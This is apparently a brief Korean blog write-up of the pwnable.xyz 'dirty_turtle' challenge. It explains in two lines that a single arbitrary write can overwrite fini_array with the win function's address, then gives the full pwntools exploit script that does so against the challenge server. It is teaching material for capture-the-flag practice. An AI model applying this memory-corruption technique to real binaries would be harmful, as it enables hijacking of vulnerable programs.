aaw 한번하고 프로그램을 종료한다
fini_array win으로 덮으면 된다
from pwn import *
p = remote("svc.pwnable.xyz", 30033)
#p = process("./dirty_turtle")
win = 0x400821
fini_array = 0x600BC0
p.recvuntil(b"Addr: ")
p.sendline(str(fini_array))
p.recvuntil(b": ")
p.sendline(str(win))
p.interactive()'pwn > pwnable.xyz' 카테고리의 다른 글
| pwnable.xyz / notebook (0) | 2022.05.25 |
|---|---|
| pwnable.xyz / nin (0) | 2022.05.25 |
| pwnable.xyz / Hero Factory (0) | 2022.05.24 |
| pwnable.xyz / note v2 (0) | 2022.05.24 |
| pwnable.xyz / executioner v2 (0) | 2022.05.23 |
